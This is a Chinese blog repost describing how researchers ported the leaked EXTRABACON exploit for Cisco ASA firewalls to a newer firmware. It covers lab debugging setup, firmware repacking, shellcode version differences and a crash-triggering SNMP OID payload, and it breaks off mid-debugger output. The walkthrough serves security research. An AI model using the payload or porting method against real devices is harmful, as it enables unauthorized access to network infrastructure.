热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

简单四步,教你自己动手移植思科ASA漏洞利用EXTRABACON

2016-08-2910:54:06作者:mpk_no1阅读:655次点赞(1)收藏(1)分享到:在过去的几天里,我们仔细分析了由ShadowBrokers泄露的国安局漏洞利用代码EXTR

2016-08-29 10:54:06 作者:mpk_no1 
阅读:655次 点赞(1) 收藏(1)


分享到:

http://p3.qhimg.com/t01426314a771767e39.jpg

在过去的几天里,我们仔细分析了由Shadow Brokers泄露的国安局漏洞利用代码EXTRABACON。根据XORcat得出的初步分析,这个利用代码能够利用SNMP服务中的内存崩溃漏洞绕过思科ASA设备的身份验证。我们在实验室里对这段代码进行了分析和测试,甚至进行了修改使其能够应用到9.2 (4) 版本。不过,在官方未发布修复补丁之前我们不打算公开这个升级代码。在这篇文章中,我们希望对移植过程进行一个详细的描述:移植的先决条件是什么,需要付出多少努力来扩展功能。同时我们也希望这篇总结能够给那些开始研究思科ASA的人们提供一个很好的资源。


思科ASA是什么?


思科自适应安全设备(ASA)是一种广泛采用的网络安全设备,除了提供标准数据包过滤功能,还提供了一个“智能”的组合,应用程序级的功能比如L7协议检验或VPN等。这个复杂的功能集大概是思科选择32位x86处理器来实现的原因之一。

供应商的主页数据显示有超过100万的这种设备部署在世界各地。

广泛部署,加上其体系结构的复杂性(很可能存在很多bug)使得思科ASA成为了黑客们梦寐以求的攻击对象。

测试准备工作


开始研究ASA最好有一些实际的硬件。幸运的是,ASA 5505在在线拍卖网站上可以以相对便宜的价格找到。

当拥有了硬件,你可能对它的配置毫无头绪,这个时候,你应该建立一个串行连接,从而在没有密码的情况下重置配置和访问控制台。因此你需要一个思科控制台连接线(RJ45-to-DB9)和一个RS232-USB转换器。通过这些你可以将设备的控制台端口连接到你的工作站上的USB端口。在Linux上你可以使用调制解调器通信程序(minicom)连接到控制台,连接参数有:

9600 baud、Parity:8N1

连接完毕之后,你可以检查固件版本并对设备进行配置。对我们来说,配置IP网络接口,允许SSH和SNMP是很重要的。

安装新的固件,你首先需要匹配的固件二进制文件。版本9.2(4) 映像文件的名称为asa924-k8.bin。可以使用SCP将新的固件上传到设备的内部闪存中:

scp asa924-k8.bin admin@192.168.5.1:/asa924-k8.bin

启动顺序可以根据官方手册(https://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/200142-ASA-9-x-Upgrade-a-Software-Image-using.html)配置。

拥有了首选的固件版本和串行连接之后,你就可以通过发送下面的长SNMP OID来验证EXTRABACON造成的内存损坏利用:

1 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144


这可能会导致访问冲突,并会在串行控制台上输出一些基本的调试信息。

远程调试


远程调试的配置参考的是Alec Stuart 的教程(https://www.youtube.com/watch?v=KXqrovapQ5A),我们现在只是给出一个快速概述的过程。

ASA运行一个类似linux的操作系统,称为lina,固件映像文件包含根文件系统的所有二进制文件和配置文件——可以用binwalk提取:

1  $ binwalk -e asa924-k8.bin
12345678     DECIMAL     HEX         DESCRIPTION    -------------------------------------------------------------------------------------------------------------------    514         0x202       LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes    144510      0x2347E     gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression    1500012     0x16E36C    ELF    1501296     0x16E870    gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015    28192154    0x1AE2D9A   Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll"      28773362    0x1B70BF2   Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll"


我们将Alec演示的repack.sh脚本修改为了:

1.从固件的映像中自动发现和修改rootfs.img

2.解压缩

3.替换rcS,这样在调试模式下会启动lina

4.重新打包rootfs

5.使用dd把新的rootfs归档到固件的二进制文件中

替换设备上的原有固件映像之后,lina开始等待启动时的GDB附加:

1 Process /asa/bin/lina created; pid = 518Remote debugging using /dev/ttyS0


继续执行,作为根用户启动GDB,并串行附加到目标上:

1 (gdb) target remote /dev/ttyUSB0


现在你可以交互式地调试你的设备了。

分析与修改


当我们开始处理EXTRABACON时,我们的主要问题是了解将其扩展到支持新的固件版本有多难。出于这个原因,我们采取了一个“hacky”方法寻找最简单的方法来解决这个问题,而不太关心思科的内部解析或其他细节。

首先让我们看一下目录结构:.

12345678910111213141516 ├── extrabacon_1.1.0.1.py├── Mexeggs│   ├── all.py│   ├── argparse.py│   ├── hexdump.py│   ├── __init__.py│   ├── loglib.py│   ├── log.py│   ├── sploit.py│   └── version.py├── scapy...└── versions    ├── shellcode_asa802.py...    └── shellcode_asa844.py


我们可以看到,不同版本的shellcode都是单独存储在目录下的versions文件夹中,主要利用代码是一个单独的Python文件——extrabacon_1.1.0.1.py。

Mexeggs是漏洞利用的“迷你框架”:它定义了标准接口,处理一些常见的任务,如参数解析和日志记录(默认的日志目录是D:\DSZOPSDisk\logs,日志存储在代号为“concernedparent”的目录中)。

因为是模块化的,所以一旦我们修复了Extrabacon.fw_version_check()函数中的版本检测功能,我们的主要关注点就是主利用脚本。

让我们来看看shellcode脚本!下图是版本8.0(2)和8.4(4)之间的对比:

http://p6.qhimg.com/t011b8ecfd35406ea29.png

我们可以看到,这两个版本的shellcode大部分是相同的,只有2 - 4字节的差异。每一个版本的my_ret_addr值有明显的差异,但凡做过这种类型开发的人都会非常高兴看到这个变量名(或值):在版本检测代码中添加了两行之后,我们在versions目录下拷贝了一个原始的shellcode代码,将其命名为shellcode shellcode_asa924.py,然后将my_ret_addr的值设为 0 x41414141。这个利用正式启动后,我们获得了一个不错的小SIGSEGV信号:

1 Program received signal SIGSEGV, Segmentation fault.[Switching to Thread 523]0x41414141 in ?? ()(gdb) info regeax            0x0    0ecx            0xcbd65a48    -875144632edx            0x0    0ebx   &n
推荐阅读
  • UNP 第9章:主机名与地址转换
    本章探讨了用于在主机名和数值地址之间进行转换的函数,如gethostbyname和gethostbyaddr。此外,还介绍了getservbyname和getservbyport函数,用于在服务器名和端口号之间进行转换。 ... [详细]
  • DNN Community 和 Professional 版本的主要差异
    本文详细解析了 DotNetNuke (DNN) 的两种主要版本:Community 和 Professional。通过对比两者的功能和附加组件,帮助用户选择最适合其需求的版本。 ... [详细]
  • 本文详细介绍了macOS系统的核心组件,包括如何管理其安全特性——系统完整性保护(SIP),并探讨了不同版本的更新亮点。对于使用macOS系统的用户来说,了解这些信息有助于更好地管理和优化系统性能。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 数据管理权威指南:《DAMA-DMBOK2 数据管理知识体系》
    本书提供了全面的数据管理职能、术语和最佳实践方法的标准行业解释,构建了数据管理的总体框架,为数据管理的发展奠定了坚实的理论基础。适合各类数据管理专业人士和相关领域的从业人员。 ... [详细]
  • 本文详细介绍了Java编程语言中的核心概念和常见面试问题,包括集合类、数据结构、线程处理、Java虚拟机(JVM)、HTTP协议以及Git操作等方面的内容。通过深入分析每个主题,帮助读者更好地理解Java的关键特性和最佳实践。 ... [详细]
  • 本文探讨了如何在发布 XenApp 应用时,通过命令行参数实现启动时的参数传递。特别介绍了静态和动态参数传递的方法,并详细解释了 ICA 文件中两种参数传递方式的区别及安全检查机制。 ... [详细]
  • 尽管某些细分市场如WAN优化表现不佳,但全球运营商路由器和交换机市场持续增长。根据最新研究,该市场预计在2023年达到202亿美元的规模。 ... [详细]
  • 在金融和会计领域,准确无误地填写票据和结算凭证至关重要。这些文件不仅是支付结算和现金收付的重要依据,还直接关系到交易的安全性和准确性。本文介绍了一种使用C语言实现小写金额转换为大写金额的方法,确保数据的标准化和规范化。 ... [详细]
  • 网络攻防实战:从HTTP到HTTPS的演变
    本文通过一系列日记记录了从发现漏洞到逐步加强安全措施的过程,探讨了如何应对网络攻击并最终实现全面的安全防护。 ... [详细]
  • 360SRC安全应急响应:从漏洞提交到修复的全过程
    本文详细介绍了360SRC平台处理一起关键安全事件的过程,涵盖从漏洞提交、验证、排查到最终修复的各个环节。通过这一案例,展示了360在安全应急响应方面的专业能力和严谨态度。 ... [详细]
  • 本文深入探讨了Linux系统中网卡绑定(bonding)的七种工作模式。网卡绑定技术通过将多个物理网卡组合成一个逻辑网卡,实现网络冗余、带宽聚合和负载均衡,在生产环境中广泛应用。文章详细介绍了每种模式的特点、适用场景及配置方法。 ... [详细]
  • ImmutableX Poised to Pioneer Web3 Gaming Revolution
    ImmutableX is set to spearhead the evolution of Web3 gaming, with its innovative technologies and strategic partnerships driving significant advancements in the industry. ... [详细]
  • 本文详细解析了Python中的os和sys模块,介绍了它们的功能、常用方法及其在实际编程中的应用。 ... [详细]
  • 掌握远程执行Linux脚本和命令的技巧
    本文将详细介绍如何利用Python的Paramiko库实现远程执行Linux脚本和命令,帮助读者快速掌握这一实用技能。通过具体的示例和详尽的解释,让初学者也能轻松上手。 ... [详细]
author-avatar
手机用户2602901861
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有